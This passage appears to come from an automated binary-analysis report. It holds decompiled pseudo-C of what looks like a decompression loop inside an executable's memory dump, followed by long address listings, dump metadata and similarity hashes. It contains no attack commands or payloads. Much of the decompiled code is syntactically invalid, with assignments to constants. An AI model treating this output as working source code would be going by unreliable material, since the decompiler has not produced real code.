												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406591
0x00406591
0x00406595
0x004065a2
0x004065ac
0x00000000
0x00406597
0x00406597
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406840
0x00406843
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00406840
0x00406840
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00406840
0x00406840
0x00406840
0x00000000
0x00406840
0x00406840
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840
0x00000000
0x00406595

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction ID: c4674237f5282a099a09cde02a4657600336f9fef0cdfe8d994bfdecfa790225
Opcode Fuzzy Hash: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction Fuzzy Hash: 4A714671E00228CFDF28DFA8C8547ADBBB1FB44301F15816AD916BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004064DD, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004064DD() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
